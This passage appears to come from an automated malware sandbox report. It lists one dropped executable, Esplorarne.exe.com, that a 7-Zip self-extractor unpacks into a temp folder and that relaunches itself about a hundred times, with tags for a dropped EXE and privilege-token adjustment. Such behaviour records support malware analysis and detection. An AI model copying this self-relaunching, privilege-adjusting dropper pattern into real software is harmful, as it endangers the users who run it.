C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i145⤵PID:4932
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i146⤵PID:9908
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i147⤵PID:8488
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i148⤵PID:8104
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i149⤵PID:9852
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i150⤵PID:9928
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i151⤵PID:10008
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i152⤵PID:10016
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i153⤵PID:10044
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i154⤵PID:10164
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i155⤵PID:10196
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i156⤵PID:10216
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i157⤵PID:4540
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i158⤵PID:8600
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i159⤵PID:5460
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i160⤵PID:7816
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i161⤵PID:9916
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i162⤵PID:6856
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i163⤵
- Executes dropped EXE
PID:3100 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i164⤵PID:9428
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i165⤵PID:7040
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i166⤵PID:9284
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i167⤵PID:9452
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i168⤵
- Suspicious use of AdjustPrivilegeToken
PID:5304 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i169⤵PID:7524
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i170⤵PID:7768
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i171⤵PID:9528
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i172⤵PID:7564
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i173⤵PID:9580
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i174⤵PID:9608
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i175⤵PID:9700
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i176⤵PID:9672
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i177⤵PID:1404
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i178⤵PID:7740
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i179⤵PID:10212
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i180⤵PID:4200
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i181⤵PID:3856
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i182⤵PID:9848
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i183⤵PID:9264
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i184⤵PID:8460
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i185⤵PID:10012
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i186⤵PID:10112
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i187⤵PID:9984
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i188⤵PID:10064
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i189⤵PID:3088
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i190⤵PID:7836
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i191⤵PID:4076
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i192⤵PID:9312
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i193⤵PID:5460
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i194⤵PID:9260
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i195⤵PID:5032
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i196⤵PID:6488
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i197⤵PID:9320
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i198⤵PID:9480
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i199⤵PID:9512
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i200⤵PID:9284
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i201⤵PID:9352
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i202⤵PID:6084
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i203⤵PID:4920
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i204⤵PID:7768
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i205⤵PID:8316
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i206⤵PID:9524
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i207⤵PID:8068
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i208⤵PID:8480
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i209⤵PID:9760
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i210⤵PID:9672
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i211⤵PID:7596
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i212⤵PID:9952
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i213⤵PID:9556
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i214⤵PID:1576
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i215⤵PID:2624
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i216⤵PID:8788
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i217⤵PID:9088
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i218⤵PID:5496
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i219⤵PID:9372
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i220⤵PID:10112
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i221⤵PID:9800
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i222⤵PID:10136
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i223⤵PID:10180
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i224⤵PID:2760
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i225⤵PID:2696
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i226⤵PID:8380
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i227⤵PID:9256
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i228⤵PID:6992
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i229⤵PID:9816
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i230⤵PID:8532
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i231⤵PID:9240
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i232⤵PID:5860
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i233⤵PID:5892
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i234⤵PID:9828
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i235⤵PID:9520
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i236⤵PID:9116
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i237⤵PID:9380
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i238⤵PID:9444
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i239⤵PID:9604
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i240⤵PID:8332
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i241⤵PID:8388
-